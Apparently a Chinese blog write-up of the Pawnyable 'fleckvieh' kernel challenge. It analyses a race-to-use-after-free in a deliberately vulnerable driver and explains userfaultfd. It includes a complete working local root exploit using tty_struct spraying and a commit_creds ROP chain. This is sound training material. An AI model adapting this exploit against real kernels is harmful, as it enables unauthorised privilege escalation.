0015-TIPS-pawnyable : userfaultfd

原文
Linux Kernel PWN | 040303 Pawnyable之userfaultfd
userfaultfdの利用
题目下载

代码分析

#include 
#include 
#include 
#include 
#include 
#include 
#include 

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Fleckvieh - Vulnerable Kernel Driver for Pawnyable");

#define DEVICE_NAME "fleckvieh"
#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004

typedef struct {
  int id;
  size_t size;
  char *data;
} request_t;

typedef struct {
  int id;
  size_t size;
  char *data;
  struct list_head list;
} blob_list;

static int module_open(struct inode *inode, struct file *filp) {
  /* Allocate list head */
  filp->private_data = (void*)kmalloc(sizeof(struct list_head), GFP_KERNEL);
  if (unlikely(!filp->private_data))
    return -ENOMEM;

  INIT_LIST_HEAD((struct list_head*)filp->private_data);
  return 0;
}

static int module_close(struct inode *inode, struct file *filp) {
  struct list_head *top;
  blob_list *itr, *tmp;

  /* Remove everything */
  top = (struct list_head*)filp->private_data;
  tmp = NULL;
  list_for_each_entry_safe(itr, tmp, top, list) {
    list_del(&itr->list);
    kfree(itr->data);
    kfree(itr);
  }

  kfree(top);
  return 0;
}

blob_list *blob_find_by_id(struct list_head *top, int id) {
  blob_list *itr;

  /* Find blob by id */
  list_for_each_entry(itr, top, list) {
    if (unlikely(itr->id == id)) return itr;
  }

  return NULL;
}

long blob_add(struct list_head *top, request_t *req) {
  blob_list *new;

  /* Check size */
  if (req->size > 0x1000)
    return -EINVAL;

  /* Allocate a new blob structure */
  new = (blob_list*)kmalloc(sizeof(blob_list), GFP_KERNEL);
  if (unlikely(!new)) return -ENOMEM;

  /* Allocate data buffer */
  new->data = (char*)kmalloc(req->size, GFP_KERNEL);
  if (unlikely(!new->data)) {
    kfree(new);
    return -ENOMEM;
  }

  /* Copy data from user buffer */
  if (unlikely(copy_from_user(new->data, req->data, req->size))) {
    kfree(new->data);
    kfree(new);
    return -EINVAL;
  }

  new->size = req->size;
  INIT_LIST_HEAD(&new->list);

  /* Generate a random positive integer */
  do {
    get_random_bytes(&new->id, sizeof(new->id));
  } while (unlikely(new->id < 0));

  /* Insert to list */
  list_add(&new->list, top);

  return new->id;
}

long blob_del(struct list_head *top, request_t *req) {
  blob_list *victim;
  if (!(victim = blob_find_by_id(top, req->id)))
    return -EINVAL;

  /* Delete the item */
  list_del(&victim->list);
  kfree(victim->data);
  kfree(victim);

  return req->id;
}

long blob_get(struct list_head *top, request_t *req) {
  blob_list *victim;
  if (!(victim = blob_find_by_id(top, req->id)))
    return -EINVAL;

  /* Check size */
  if (req->size > victim->size)
    return -EINVAL;

  /* Copy data to user */
  if (unlikely(copy_to_user(req->data, victim->data, req->size)))
    return -EINVAL;

  return req->id;
}

long blob_set(struct list_head *top, request_t *req) {
  blob_list *victim;
  if (!(victim = blob_find_by_id(top, req->id)))
    return -EINVAL;

  /* Check size */
  if (req->size > victim->size)
    return -EINVAL;

  /* Copy data from user */
  if (unlikely(copy_from_user(victim->data, req->data, req->size)))
    return -EINVAL;

  return req->id;
}

static long module_ioctl(struct file *filp,
                         unsigned int cmd,
                         unsigned long arg) {
  struct list_head *top;
  request_t req;
  if (unlikely(copy_from_user(&req, (void*)arg, sizeof(req))))
    return -EINVAL;

  top = (struct list_head*)filp->private_data;

  switch (cmd) {
    case CMD_ADD: return blob_add(top, &req);
    case CMD_DEL: return blob_del(top, &req);
    case CMD_GET: return blob_get(top, &req);
    case CMD_SET: return blob_set(top, &req);
    default: return -EINVAL;
  }
}

static struct file_operations module_fops = {
  .owner   = THIS_MODULE,
  .open    = module_open,
  .release = module_close,
  .unlocked_ioctl = module_ioctl
};

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))
    return -EBUSY;

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

打开驱动

会创建一个双向链表,并将filp->private_data指向这个双向链表
0015-TIPS-pawnyable : userfaultfd_第1张图片

blob_add

  • 创建一个struct blob_list节点,
  • 并根据参数req-size传递的长度,创建一个堆空间,blob_list->data指向这个堆空间,
  • 再通过copy_from_user,将参数req->data指向的用户空间的内容复制到blob_list->data中,
  • 之后将req->size也就是req->data的长度值赋值给blob_list->size
  • 接着初始化blob_list->list双向链表,并链入到filp->private_data
  • 最后生成一个随机数,赋值到blob_list->id中,并返回给调用者,用来索引该节点
    0015-TIPS-pawnyable : userfaultfd_第2张图片

blob_del

  • 通过参数req->id索引到blob_list节点
  • 将该节点从filp->private_data双向链表中断开
  • 删除blob_list->data指向的堆空间
  • 删除struct blob_list节点占据的空间

blob_get

  • 通过参数req->id索引到blob_list节点
  • 通过copy_to_userblob_list->data中的内容复制到参数req->data指向的用户空间

blob_set

  • 通过参数req->id索引到blob_list节点
  • 通过copy_from_user将参数req->data指向用户空间的内容复制到blob_list->data指向的内核空间

漏洞分析

代码存在条件竞争,并可转换为UAF漏洞

条件竞争->UAF:实现内核地址泄露

  1. 线程1新增一个链表节点A(blob_add)
    0015-TIPS-pawnyable : userfaultfd_第3张图片
  2. 线程1对链表节点A执行查询操作(blob_get);在copy_to_user执行前,线程2对链表节点A执行删除操作(blob_del),并喷射tty_struct占位(依赖于blob_add是传递参数req->size的值)
    0015-TIPS-pawnyable : userfaultfd_第4张图片
  3. 线程1执行copy_to_user,实际上将某个tty_struct的内容复制到了用户空间

条件竞争->UAF:实现控制流劫持

转化为UAF漏洞并实现控制流劫持所需的竞态状态:
1.线程1新增一个链表节点B(blob_add)
0015-TIPS-pawnyable : userfaultfd_第5张图片

2.线程1对链表节点B执行查询操作(blob_set);在copy_from_user执行前,线程2对链表节点B执行删除操作(blob_del),并喷射tty_struct占位
0015-TIPS-pawnyable : userfaultfd_第6张图片
3.线程1执行copy_from_user,实际上将占位的tty_struct内容替换成了攻击者的伪造tty_struct

条件竞争点在于,在执行copy_to_usercopy_from_user前,需要完成blob_list节点的删除,和堆喷的重新占位,这个难度较大,但是userfaultfd可以解决当前题目环境的问题。

userfaultfd解析

参考

man ioctl_userfaultfd
man userfaultfd

userfaultfd的功能

userfaultfd用于处理用户态缺页异常。比如mmap分配一段内存空间,此刻这段这段内存空间没有与物理页挂钩,只有实际对该空间进行读/写时,才通过缺页异常进入内核态挂载物理页。
现在可以通过userfaultfd机制,在用户态处理这个缺页异常。

比方,mmap 4页大小的虚拟空间,现在还没有挂上物理页
在这里插入图片描述
现在要往这段空间写入大量的数据,4 * 0x1000字节的数据。由于4 * 0x1000是4个page页的大小,每个页都会触发一次缺页异常,因此每个页都会触发一次userfaultfd
0015-TIPS-pawnyable : userfaultfd_第7张图片
在经过userfaultfd处理后,这段4 * 0x1000虚拟空间都挂上了物理页,以后对这些虚拟空间的读写就不会发生缺页异常,因此对于每一个page大小的虚拟空间,userfaultfd只触发一次

现在看看userfaultfd是怎么进行处理的
(步骤5大概就是这意思,我不知道是挂载的原始页,还是再生成新页,再把新页挂载到虚拟空间上?)
对于写
0015-TIPS-pawnyable : userfaultfd_第8张图片
对于读
0015-TIPS-pawnyable : userfaultfd_第9张图片

userfaultfd 操作逻辑

  • 1、要使用userfaultfd功能,需要通过系统调用获取操作userfaultfd的文件句柄,假设获取到的句柄是uffd
    • int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
  • 2、通过uffd配置userfaultfd功能版本,缺页类型
    • ioctl(uffd, UFFDIO_API, &uffdio_api)
  • 3、通过uffd配置注册缺页监控范围
    • ioctl(uffd, UFFDIO_REGISTER, &uffdio_register)
  • 4、通过uffd文件描述符轮询缺页事件(由于从轮询事件会发生阻塞,所以从这一步往下需要放到一个新线程中)
    • pthread_create(&th, NULL, fault_handler_thread, (void *)uffd)
  • 5、通过uffd配置处理缺页事件
    • ioctl(uffd, UFFDIO_COPY, ©)

推荐看这三个文档
man ioctl_userfaultfd
man userfaultfd
https://www.kernel.org/doc/html/next/admin-guide/mm/userfaultfd.html
https://xz.aliyun.com/t/6653

再结合如下demo进行理解

/*
serfaultfd机制允许多线程程序中的某个线程为其他线程提供用户空间页面——如果该线程将这些页面注册到了userfaultfd对象上,
那么当针对这些页面的缺页异常发生时,触发缺页异常的线程将暂停运行,内核将生成一个缺页异常事件并通过userfaultfd文件描述符传递给异常处理线程。
异常处理线程可以做一些处理,然后唤醒之前暂停的线程

该程序首先使用mmap在用户空间分配两个匿名页,接着创建userfaultfd,并启动一个线程来处理缺页异常。
然后,主线程尝试向先前申请的两个匿名页依次写入数据。
针对这两个页的第一次读操作将触发两次缺页异常,子线程将从阻塞态恢复并执行处理逻辑。
针对同一页面的第二次及之后的读写操作将不再触发缺页异常
*/
#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

void fatal(const char *msg) {
    perror(msg);
    exit(1);
}

static void *fault_handler_thread(void *arg) {
    char *dummy_page;
    static struct uffd_msg msg;
    struct uffdio_copy copy;
    struct pollfd pollfd;
    long uffd;
    static int fault_cnt = 0;

    uffd = (long)arg;

    puts("[t][*] mmaping one dummy page");
    dummy_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (dummy_page == MAP_FAILED)
        fatal("mmap(dummy)");

    puts("[t][*] waiting for page fault");
    pollfd.fd = uffd;
    pollfd.events = POLLIN;

    while (poll(&pollfd, 1, -1) > 0) {
        if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
            fatal("poll");

        // block until triggered
        // 非阻塞I/O使我们的操作要么成功,要么立即返回错误,不被阻塞
        if (read(uffd, &msg, sizeof(msg)) <= 0)
            fatal("read(uffd)");
        assert(msg.event == UFFD_EVENT_PAGEFAULT);
        puts("[t][+] caught page fault");
        printf("[t][+] uffd: flag=0x%llx, addr=0x%llx\n", msg.arg.pagefault.flags, msg.arg.pagefault.address);

        // craft data and copy
        puts("[t][*] writing hello world into dummy page");
        if (fault_cnt++ == 0)
            strcpy(dummy_page, "Hello, world! (1)");
        else
            strcpy(dummy_page, "Hello, world! (2)");

        puts("[t][*] copying data from dummy page to faulted page");
        copy.src = (unsigned long)dummy_page;
        copy.dst = (unsigned long)msg.arg.pagefault.address & ~0xfff;
        copy.len = 0x1000;
        copy.mode = 0;
        copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &copy) == -1)
            fatal("ioctl(UFFDIO_COPY)");
    }

    return NULL;
}

int register_uffd(void *addr, size_t len) {
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    long uffd;
    pthread_t th;

    puts("[*] registering userfaultfd");
    
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
        fatal("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        fatal("ioctl(UFFDIO_API)");

    uffdio_register.range.start = (unsigned long)addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        fatal("UFFDIO_REGISTER");

    puts("[*] spawning a fault handler thread");
    if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))
        fatal("pthread_create");

    return 0;
}

int main() {
    void *page;
    page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED)
        fatal("mmap");

    printf("[+] mmap two pages at 0x%llx\n", (long long unsigned int)page);
    register_uffd(page, 0x2000);

    char buf[0x100];
    puts("[*] reading from page#1");
    strcpy(buf, (char *)(page));
    printf("[+] 0x0000: %s\n", buf);
    puts("[*] reading from page#2");
    strcpy(buf, (char *)(page + 0x1000));
    printf("[+] 0x1000: %s\n", buf);
    puts("[*] reading from page#1");
    strcpy(buf, (char *)(page));
    printf("[+] 0x0000: %s\n", buf);
    puts("[*] reading from page#2");
    strcpy(buf, (char *)(page + 0x1000));
    printf("[+] 0x1000: %s\n", buf);

    getchar();
    return 0;
}
/*
[+] mmap two pages at 0x7f0ed2616000
[*] registering userfaultfd
[*] spawning a fault handler thread
[t][*] mmaping one dummy page
[t][*] waiting for page fault
[*] reading from page#1
[t][+] catched page fault
[t][+] uffd: flag=0x0, addr=0x7f0ed2616000
[t][*] writing hello world into dummy page
[t][*] copying data from dummy page to faulted page
[+] 0x0000: Hello, world! (1)
[*] reading from page#2
[t][+] catched page fault
[t][+] uffd: flag=0x0, addr=0x7f0ed2617000
[t][*] writing hello world into dummy page
[t][*] copying data from dummy page to faulted page
[+] 0x1000: Hello, world! (2)
[*] reading from page#1
[+] 0x0000: Hello, world! (1)
[*] reading from page#2
[+] 0x1000: Hello, world! (2)
*/

漏洞利用

对于本体,只要用户空间被userfaultfd监控,条件竞争就能稳定触发成功
0015-TIPS-pawnyable : userfaultfd_第10张图片

poc

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004

#define SPRAY_NUM 0x10

#define ofs_tty_ops 0xc3c3c0

void fatal(const char *msg) {
    perror(msg);
    exit(1);
}

typedef struct {
    long id;
    size_t size;
    char *data;
} request_t;

int ptmx[SPRAY_NUM];
cpu_set_t pwn_cpu;
int victim;
int fd;
char *buf;
unsigned long kbase, kheap;

int add(char *data, size_t size) {
    request_t req = {.size = size, .data = data};
    int r = ioctl(fd, CMD_ADD, &req);
    if (r == -1)
        fatal("blob_add");
    return r;
}

int del(int id) {
    request_t req = {.id = id};
    int r = ioctl(fd, CMD_DEL, &req);
    if (r == -1)
        fatal("blob_del");
    return r;
}

int get(int id, char *data, size_t size) {
    request_t req = {.id = id, .size = size, .data = data};
    int r = ioctl(fd, CMD_GET, &req);
    if (r == -1)
        fatal("blob_get");
    return r;
}

int set(int id, char *data, size_t size) {
    request_t req = {.id = id, .size = size, .data = data};
    int r = ioctl(fd, CMD_SET, &req);
    if (r == -1)
        fatal("blob_set");
    return r;
}

static void *fault_handler_thread(void *arg) {
    static struct uffd_msg msg;
    struct uffdio_copy copy;
    struct pollfd pollfd;
    long uffd;
    static int fault_cnt = 0;

    puts("[t][*] set cpu affinity");
    if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
        fatal("sched_setaffinity");

    uffd = (long)arg;

    puts("[t][*] waiting for page fault");
    pollfd.fd = uffd;
    pollfd.events = POLLIN;

    while (poll(&pollfd, 1, -1) > 0) {
        if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
            fatal("poll");
        if (read(uffd, &msg, sizeof(msg)) <= 0)
            fatal("read(uffd)");
        assert(msg.event == UFFD_EVENT_PAGEFAULT);
        puts("[t][+] caught page fault");

        switch (fault_cnt++) {
            case 0:
            case 1: {
                puts("[t][*] crafting UAF");
                puts("[t][*] deleting victim blob");
                del(victim);
                printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
                for (int i = 0; i < SPRAY_NUM; i++) {
                    ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
                    if (ptmx[i] == -1)
                        fatal("/dev/ptmx");
                }
                // just reuse the buf in user land
                copy.src = (unsigned long)buf;
                break;
            }
        }

        copy.dst = (unsigned long)msg.arg.pagefault.address;
        copy.len = 0x1000;
        copy.mode = 0;
        copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &copy) == -1)
            fatal("ioctl(UFFDIO_COPY)");
    }
    return NULL;
}

int register_uffd(void *addr, size_t len) {
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    long uffd;
    pthread_t th;

    puts("[*] registering userfaultfd");

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
        fatal("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        fatal("ioctl(UFFDIO_API)");

    uffdio_register.range.start = (unsigned long)addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        fatal("UFFDIO_REGISTER");

    puts("[*] spawning a fault handler thread");
    if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))
        fatal("pthread_create");

    return 0;
}

int main() {
    puts("[*] set cpu affinity");
    CPU_ZERO(&pwn_cpu);
    CPU_SET(0, &pwn_cpu);
    if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
        fatal("sched_setaffinity");

    fd = open("/dev/fleckvieh", O_RDWR);
    if (fd == -1)
        fatal("/dev/fleckvieh");

    void *page;
    page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED)
        fatal("mmap");
    printf("[+] mmap two pages at 0x%llx\n", (long long unsigned int)page);

    register_uffd(page, 0x2000);

    buf = (char *)malloc(0x1000);

    victim = add(buf, 0x400);
    set(victim, "Hello", 6);

    puts("[*] UAF#1 leak kbase");
    puts("[*] reading 0x20 bytes from victim blob to page#1");
    get(victim, page, 0x20);
    kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops;
    for (int i = 0; i < SPRAY_NUM; i++)
        close(ptmx[i]);

    puts("[*] UAF#2 leak kheap");
    victim = add(buf, 0x400);
    puts("[*] reading 0x400 bytes from victim blob to page#2");
    get(victim, page + 0x1000, 0x400);
    kheap = *(unsigned long *)(page + 0x1038) - 0x38;
    for (int i = 0; i < SPRAY_NUM; i++)
        close(ptmx[i]);

    printf("[+] leaked kbase: 0x%lx, kheap: 0x%lx\n", kbase, kheap);

    return 0;
}
/*
~ $ /exploit
[*] set cpu affinity
[+] mmap two pages at 0x7fe0ac175000
[*] registering userfaultfd
[*] spawning a fault handler thread
[*] UAF#1 leak kbase
[*] reading 0x20 bytes from victim blob to page#1
[t][*] set cpu affinity
[t][*] waiting for page fault
[t][+] caught page fault
[t][*] crafting UAF
[t][*] deleting victim blob
[t][*] spraying 16 tty_struct objects
[*] UAF#2 leak kheap
[*] reading 0x400 bytes from victim blob to page#2
[t][+] caught page fault
[t][*] crafting UAF
[t][*] deleting victim blob
[t][*] spraying 16 tty_struct objects
[+] leaked kbase: 0xffffffff81000000, kheap: 0xffff8880030cc800
*/

exp

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004

#define SPRAY_NUM 0x10
#define ofs_tty_ops 0xc3c3c0

#define push_rdx_pop_rsp_pop_ret (kbase + 0x09b13a)
#define commit_creds (kbase + 0x072830)
#define pop_rdi_ret (kbase + 0x09b0ed)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)
#define init_cred (kbase + 0xe37480)

void fatal(const char *msg) {
    perror(msg);
    exit(1);
}

typedef struct {
    long id;
    size_t size;
    char *data;
} request_t;

unsigned long user_cs, user_ss, user_sp, user_rflags;

void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}

void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}

int ptmx[SPRAY_NUM];
cpu_set_t pwn_cpu;
int victim;
int fd;
char *buf;
unsigned long kbase, kheap;

int add(char *data, size_t size) {
    request_t req = {.size = size, .data = data};
    int r = ioctl(fd, CMD_ADD, &req);
    if (r == -1)
        fatal("blob_add");
    return r;
}

int del(int id) {
    request_t req = {.id = id};
    int r = ioctl(fd, CMD_DEL, &req);
    if (r == -1)
        fatal("blob_del");
    return r;
}

int get(int id, char *data, size_t size) {
    request_t req = {.id = id, .size = size, .data = data};
    int r = ioctl(fd, CMD_GET, &req);
    if (r == -1)
        fatal("blob_get");
    return r;
}

int set(int id, char *data, size_t size) {
    request_t req = {.id = id, .size = size, .data = data};
    int r = ioctl(fd, CMD_SET, &req);
    if (r == -1)
        fatal("blob_set");
    return r;
}

static void *fault_handler_thread(void *arg) {
    static struct uffd_msg msg;
    struct uffdio_copy copy;
    struct pollfd pollfd;
    long uffd;
    static int fault_cnt = 0;

    puts("[t][*] set cpu affinity");
    if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
        fatal("sched_setaffinity");

    uffd = (long)arg;

    puts("[t][*] waiting for page fault");
    pollfd.fd = uffd;
    pollfd.events = POLLIN;

    while (poll(&pollfd, 1, -1) > 0) {
        if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
            fatal("poll");
        if (read(uffd, &msg, sizeof(msg)) <= 0)
            fatal("read(uffd)");
        assert(msg.event == UFFD_EVENT_PAGEFAULT);
        puts("[t][+] caught page fault");

        switch (fault_cnt++) {
        case 0:
        case 1: {
            puts("[t][*] UAF read");
            del(victim);
            printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
            for (int i = 0; i < SPRAY_NUM; i++) {
                ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
                if (ptmx[i] == -1)
                    fatal("/dev/ptmx");
            }
            copy.src = (unsigned long)buf;
            break;
        }
        case 2: {
            puts("[t][*] UAF write");
            printf("[t][*] spraying %d fake tty_struct objects (blob)\n", 0x100);
            for (int i = 0; i < 0x100; i++)
                add(buf, 0x400);

            del(victim);
            printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
            for (int i = 0; i < SPRAY_NUM; i++) {
                ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
                if (ptmx[i] == -1)
                    fatal("/dev/ptmx");
            }
            copy.src = (unsigned long)buf;
            break;
        }
        default:
            fatal("[t][-] unexpected page fault");
        }

        copy.dst = (unsigned long)msg.arg.pagefault.address;
        copy.len = 0x1000;
        copy.mode = 0;
        copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &copy) == -1)
            fatal("ioctl(UFFDIO_COPY)");
    }
    return NULL;
}

int register_uffd(void *addr, size_t len) {
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    long uffd;
    pthread_t th;

    puts("[*] registering userfaultfd");

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
        fatal("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        fatal("ioctl(UFFDIO_API)");

    uffdio_register.range.start = (unsigned long)addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        fatal("UFFDIO_REGISTER");

    puts("[*] spawning a fault handler thread");
    if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))
        fatal("pthread_create");

    return 0;
}

int main() {
    save_userland_state();
    puts("[*] set cpu affinity");
    CPU_ZERO(&pwn_cpu);
    CPU_SET(0, &pwn_cpu);
    if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
        fatal("sched_setaffinity");

    fd = open("/dev/fleckvieh", O_RDWR);
    if (fd == -1)
        fatal("/dev/fleckvieh");

    void *page;
    page = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED)
        fatal("mmap");
    printf("[+] mmap three pages at 0x%llx\n", (long long unsigned int)page);

    register_uffd(page, 0x3000);

    buf = (char *)malloc(0x1000);

    puts("[*] UAF#1 leak kbase");
    puts("[*] reading 0x20 bytes from victim blob to page#1");
    victim = add(buf, 0x400);
    get(victim, page, 0x20);
    kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops;
    for (int i = 0; i < SPRAY_NUM; i++)
        close(ptmx[i]);

    puts("[*] UAF#2 leak kheap");
    victim = add(buf, 0x400);
    puts("[*] reading 0x400 bytes from victim blob to page#2");
    get(victim, page + 0x1000, 0x400);
    kheap = *(unsigned long *)(page + 0x1038) - 0x38;
    for (int i = 0; i < SPRAY_NUM; i++)
        close(ptmx[i]);

    printf("[+] leaked kbase: 0x%lx, kheap: 0x%lx\n", kbase, kheap);

    puts("[*] crafting fake tty_struct in buf");
    memcpy(buf, page + 0x1000, 0x400);
    unsigned long *tty = (unsigned long *)buf;
    tty[0] = 0x0000000100005401;              // magic
    tty[2] = *(unsigned long *)(page + 0x10); // dev
    tty[3] = kheap;                           // ops
    tty[12] = push_rdx_pop_rsp_pop_ret;       // ops->ioctl
    puts("[*] crafting rop chain");
    unsigned long *chain = (unsigned long *)(buf + 0x100);
    *chain++ = 0xdeadbeef; // pop
    *chain++ = pop_rdi_ret;
    *chain++ = init_cred;
    *chain++ = commit_creds;
    *chain++ = swapgs_restore_regs_and_return_to_usermode;
    *chain++ = 0x0;
    *chain++ = 0x0;
    *chain++ = (unsigned long)&spawn_shell;
    *chain++ = user_cs;
    *chain++ = user_rflags;
    *chain++ = user_sp;
    *chain++ = user_ss;

    puts("[*] UAF#3 write rop chain");
    victim = add(buf, 0x400);
    set(victim, page + 0x2000, 0x400);

    puts("[*] invoking ioctl to hijack control flow");
    for (int i = 0; i < SPRAY_NUM; i++)
        ioctl(ptmx[i], 0, kheap + 0x100);

    getchar();
    return 0;
}
/*
~ $ /exploit
[*] saving user land state
[*] set cpu affinity
[+] mmap three pages at 0x7faf152a4000
[*] registering userfaultfd
[*] spawning a fault handler thread
[*] UAF#1 leak kbase
[*] reading 0x20 bytes from victim blob to page#1
[t][*] set cpu affinity
[t][*] waiting for page fault
[t][+] caught page fault
[t][*] UAF read
[t][*] spraying 16 tty_struct objects
[*] UAF#2 leak kheap
[*] reading 0x400 bytes from victim blob to page#2
[t][+] caught page fault
[t][*] UAF read
[t][*] spraying 16 tty_struct objects
[+] leaked kbase: 0xffffffffbe000000, kheap: 0xffffa15381cda400
[*] crafting fake tty_struct in buf
[*] crafting rop chain
[*] UAF#3 write rop chain
[t][+] caught page fault
[t][*] UAF write
[t][*] spraying 256 fake tty_struct objects (blob)
[t][*] spraying 16 tty_struct objects
[*] invoking ioctl to hijack control flow
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ # id
uid=0(root) gid=0(root)
*/

你可能感兴趣的:(pwn_cve_kernel,kernel,pwn)